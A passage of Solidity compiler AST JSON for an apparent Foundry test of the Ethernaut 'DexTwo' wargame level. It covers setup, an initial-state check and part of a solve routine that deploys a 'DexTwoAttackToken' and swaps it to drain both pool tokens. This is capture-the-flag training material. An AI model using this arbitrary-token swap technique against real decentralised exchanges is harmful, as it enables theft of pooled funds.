DexTwoFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DexTwoFactory_$51447","typeString":"contract DexTwoFactory"}],"id":60091,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1124:7:126","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":60090,"name":"address","nodeType":"ElementaryTypeName","src":"1124:7:126","typeDescriptions":{}}},"id":60093,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1124:16:126","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":60089,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1118:5:126","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":60094,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1118:23:126","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"expression":{"id":60086,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60023,"src":"1094:9:126","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":60088,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1104:13:126","memberName":"registerLevel","nodeType":"MemberAccess","referencedDeclaration":48913,"src":"1094:23:126","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) external"}},"id":60095,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1094:48:126","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60096,"nodeType":"ExpressionStatement","src":"1094:48:126"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":60097,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1152:2:126","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60099,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1155:9:126","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1152:12:126","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":60100,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1152:14:126","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60101,"nodeType":"ExpressionStatement","src":"1152:14:126"},{"expression":{"arguments":[{"id":60105,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60030,"src":"1191:6:126","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":60102,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1177:2:126","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60104,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1180:10:126","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1177:13:126","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":60106,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1177:21:126","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60107,"nodeType":"ExpressionStatement","src":"1177:21:126"},{"expression":{"id":60124,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":60108,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60026,"src":"1208:8:126","typeDescriptions":{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"arguments":[{"id":60113,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60023,"src":"1254:9:126","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"arguments":[{"id":60117,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60080,"src":"1279:7:126","typeDescriptions":{"typeIdentifier":"t_contract$_DexTwoFactory_$51447","typeString":"contract DexTwoFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DexTwoFactory_$51447","typeString":"contract DexTwoFactory"}],"id":60116,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1271:7:126","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":60115,"name":"address","nodeType":"ElementaryTypeName","src":"1271:7:126","typeDescriptions":{}}},"id":60118,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1271:16:126","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":60114,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1265:5:126","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":60119,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1265:23:126","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},{"hexValue":"30","id":60120,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1290:1:126","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"},{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":60112,"name":"createLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66525,"src":"1234:19:126","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_contract$_Level_$55508_$_t_uint256_$returns$_t_address_$","typeString":"function (contract Ethernaut,contract Level,uint256) returns (address)"}},"id":60121,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1234:58:126","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":60111,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1226:8:126","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":60110,"name":"address","nodeType":"ElementaryTypeName","src":"1226:8:126","stateMutability":"payable","typeDescriptions":{}}},"id":60122,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1226:67:126","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":60109,"name":"DexTwo","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51225,"src":"1219:6:126","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_DexTwo_$51225_$","typeString":"type(contract DexTwo)"}},"id":60123,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1219:75:126","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"}},"src":"1208:86:126","typeDescriptions":{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"}},"id":60125,"nodeType":"ExpressionStatement","src":"1208:86:126"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":60126,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1304:2:126","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60128,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1307:9:126","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1304:12:126","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":60129,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1304:14:126","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60130,"nodeType":"ExpressionStatement","src":"1304:14:126"}]},"functionSelector":"0a9254e4","implemented":true,"kind":"function","modifiers":[],"name":"setUp","nameLocation":"748:5:126","parameters":{"id":60031,"nodeType":"ParameterList","parameters":[],"src":"753:2:126"},"returnParameters":{"id":60032,"nodeType":"ParameterList","parameters":[],"src":"763:0:126"},"scope":60229,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":60153,"nodeType":"FunctionDefinition","src":"1577:137:126","nodes":[],"body":{"id":60152,"nodeType":"Block","src":"1604:110:126","nodes":[],"statements":[{"expression":{"arguments":[{"id":60139,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60030,"src":"1628:6:126","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":60136,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1614:2:126","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60138,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1617:10:126","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1614:13:126","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":60140,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1614:21:126","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60141,"nodeType":"ExpressionStatement","src":"1614:21:126"},{"expression":{"arguments":[{"arguments":[{"id":60144,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60023,"src":"1677:9:126","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":60147,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60026,"src":"1696:8:126","typeDescriptions":{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"}],"id":60146,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1688:7:126","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":60145,"name":"address","nodeType":"ElementaryTypeName","src":"1688:7:126","typeDescriptions":{}}},"id":60148,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1688:17:126","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":60143,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"1657:19:126","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":60149,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1657:49:126","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":60142,"name":"assertFalse","nodeType":"Identifier","overloadedDeclarations":[314,329],"referencedDeclaration":314,"src":"1645:11:126","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":60150,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1645:62:126","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60151,"nodeType":"ExpressionStatement","src":"1645:62:126"}]},"documentation":{"id":60133,"nodeType":"StructuredDocumentation","src":"1509:63:126","text":"@notice Check the intial state of the level and enviroment."},"functionSelector":"b5d11e99","implemented":true,"kind":"function","modifiers":[],"name":"testInit","nameLocation":"1586:8:126","parameters":{"id":60134,"nodeType":"ParameterList","parameters":[],"src":"1594:2:126"},"returnParameters":{"id":60135,"nodeType":"ParameterList","parameters":[],"src":"1604:0:126"},"scope":60229,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":60228,"nodeType":"FunctionDefinition","src":"1769:466:126","nodes":[],"body":{"id":60227,"nodeType":"Block","src":"1797:438:126","nodes":[],"statements":[{"expression":{"arguments":[{"id":60160,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60030,"src":"1821:6:126","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":60157,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1807:2:126","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60159,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1810:10:126","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1807:13:126","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":60161,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1807:21:126","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60162,"nodeType":"ExpressionStatement","src":"1807:21:126"},{"assignments":[60165],"declarations":[{"constant":false,"id":60165,"mutability":"mutable","name":"token1","nameLocation":"1857:6:126","nodeType":"VariableDeclaration","scope":60227,"src":"1839:24:126","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableTokenTwo_$51281","typeString":"contract SwappableTokenTwo"},"typeName":{"id":60164,"nodeType":"UserDefinedTypeName","pathNode":{"id":60163,"name":"SwappableTokenTwo","nameLocations":["1839:17:126"],"nodeType":"IdentifierPath","referencedDeclaration":51281,"src":"1839:17:126"},"referencedDeclaration":51281,"src":"1839:17:126","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableTokenTwo_$51281","typeString":"contract SwappableTokenTwo"}},"visibility":"internal"}],"id":60171,"initialValue":{"arguments":[{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":60167,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60026,"src":"1884:8:126","typeDescriptions":{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"}},"id":60168,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1893:6:126","memberName":"token1","nodeType":"MemberAccess","referencedDeclaration":51028,"src":"1884:15:126","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_address_$","typeString":"function () view external returns (address)"}},"id":60169,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1884:17:126","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":60166,"name":"SwappableTokenTwo","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51281,"src":"1866:17:126","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_SwappableTokenTwo_$51281_$","typeString":"type(contract SwappableTokenTwo)"}},"id":60170,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1866:36:126","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_SwappableTokenTwo_$51281","typeString":"contract SwappableTokenTwo"}},"nodeType":"VariableDeclarationStatement","src":"1839:63:126"},{"assignments":[60174],"declarations":[{"constant":false,"id":60174,"mutability":"mutable","name":"token2","nameLocation":"1930:6:126","nodeType":"VariableDeclaration","scope":60227,"src":"1912:24:126","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableTokenTwo_$51281","typeString":"contract SwappableTokenTwo"},"typeName":{"id":60173,"nodeType":"UserDefinedTypeName","pathNode":{"id":60172,"name":"SwappableTokenTwo","nameLocations":["1912:17:126"],"nodeType":"IdentifierPath","referencedDeclaration":51281,"src":"1912:17:126"},"referencedDeclaration":51281,"src":"1912:17:126","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableTokenTwo_$51281","typeString":"contract SwappableTokenTwo"}},"visibility":"internal"}],"id":60180,"initialValue":{"arguments":[{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":60176,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60026,"src":"1957:8:126","typeDescriptions":{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"}},"id":60177,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1966:6:126","memberName":"token2","nodeType":"MemberAccess","referencedDeclaration":51030,"src":"1957:15:126","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_address_$","typeString":"function () view external returns (address)"}},"id":60178,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1957:17:126","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":60175,"name":"SwappableTokenTwo","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51281,"src":"1939:17:126","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_SwappableTokenTwo_$51281_$","typeString":"type(contract SwappableTokenTwo)"}},"id":60179,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1939:36:126","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_SwappableTokenTwo_$51281","typeString":"contract SwappableTokenTwo"}},"nodeType":"VariableDeclarationStatement","src":"1912:63:126"},{"assignments":[60183],"declarations":[{"constant":false,"id":60183,"mutability":"mutable","name":"attack","nameLocation":"2004:6:126","nodeType":"VariableDeclaration","scope":60227,"src":"1986:24:126","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_DexTwoAttackToken_$49275","typeString":"contract DexTwoAttackToken"},"typeName":{"id":60182,"nodeType":"UserDefinedTypeName","pathNode":{"id":60181,"name":"DexTwoAttackToken","nameLocations":["1986:17:126"],"nodeType":"IdentifierPath","referencedDeclaration":49275,"src":"1986:17:126"},"referencedDeclaration":49275,"src":"1986:17:126","typeDescriptions":{"typeIdentifier":"t_contract$_DexTwoAttackToken_$49275","typeString":"contract DexTwoAttackToken"}},"visibility":"internal"}],"id":60188,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":60186,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"2013:21:126","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_DexTwoAttackToken_$49275_$","typeString":"function () returns (contract DexTwoAttackToken)"},"typeName":{"id":60185,"nodeType":"UserDefinedTypeName","pathNode":{"id":60184,"name":"DexTwoAttackToken","nameLocations":["2017:17:126"],"nodeType":"IdentifierPath","referencedDeclaration":49275,"src":"2017:17:126"},"referencedDeclaration":49275,"src":"2017:17:126","typeDescriptions":{"typeIdentifier":"t_contract$_DexTwoAttackToken_$49275","typeString":"contract DexTwoAttackToken"}}},"id":60187,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2013:23:126","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_DexTwoAttackToken_$49275","typeString":"contract DexTwoAttackToken"}},"nodeType":"VariableDeclarationStatement","src":"1986:50:126"},{"expression":{"arguments":[{"arguments":[{"id":60194,"name":"attack","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60183,"src":"2068:6:126","typeDescriptions":{"typeIdentifier":"t_contract$_DexTwoAttackToken_$49275","typeString":"contract DexTwoAttackToken"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DexTwoAttackToken_$49275","typeString":"contract DexTwoAttackToken"}],"id":60193,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2060:7:126","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":60192,"name":"address","nodeType":"ElementaryTypeName","src":"2060:7:126","typeDescriptions":{}}},"id":60195,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2060:15:126","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"id":60198,"name":"token1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60165,"src":"2085:6:126","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableTokenTwo_$51281","typeString":"contract SwappableTokenTwo"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_SwappableTokenTwo_$51281","typeString":"contract SwappableTokenTwo"}],"id":60197,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2077:7:126","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":60196,"name":"address","nodeType":"ElementaryTypeName","src":"2077:7:126","typeDescriptions":{}}},"id":60199,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2077:15:126","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"31","id":60200,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2094:1:126","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"}],"expression":{"id":60189,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60026,"src":"2046:8:126","typeDescriptions":{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"}},"id":60191,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2055:4:126","memberName":"swap","nodeType":"MemberAccess","referencedDeclaration":51143,"src":"2046:13:126","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256) external"}},"id":60201,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2046:50:126","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60202,"nodeType":"ExpressionStatement","src":"2046:50:126"},{"expression":{"arguments":[{"arguments":[{"id":60208,"name":"attack","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60183,"src":"2128:6:126","typeDescriptions":{"typeIdentifier":"t_contract$_DexTwoAttackToken_$49275","typeString":"contract DexTwoAttackToken"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DexTwoAttackToken_$49275","typeString":"contract DexTwoAttackToken"}],"id":60207,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2120:7:126","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":60206,"name":"address","nodeType":"ElementaryTypeName","src":"2120:7:126","typeDescriptions":{}}},"id":60209,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2120:15:126","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"id":60212,"name":"token2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60174,"src":"2145:6:126","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableTokenTwo_$51281","typeString":"contract SwappableTokenTwo"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_SwappableTokenTwo_$51281","typeString":"contract SwappableTokenTwo"}],"id":60211,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2137:7:126","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":60210,"name":"address","nodeType":"ElementaryTypeName","src":"2137:7:126","typeDescriptions":{}}},"id":60213,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2137:15:126","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"31","id":60214,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2154:1:126","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"}],"expression":{"id":60203,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60026,"src":"2106:8:126","typeDescriptions":{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"}},"id":60205,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2115:4:126","memberName":"swap","nodeType":"MemberAccess","referencedDeclaration":51143,"src":"2106:13:126","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256) external"}},"id":60215,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2106:50:126","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60216,"nodeType":"ExpressionStatement","src":"2106:50:126"},{"expression":{"arguments":[{"arguments":[{"id":60219,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60023,"src":"2198:9:126","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract 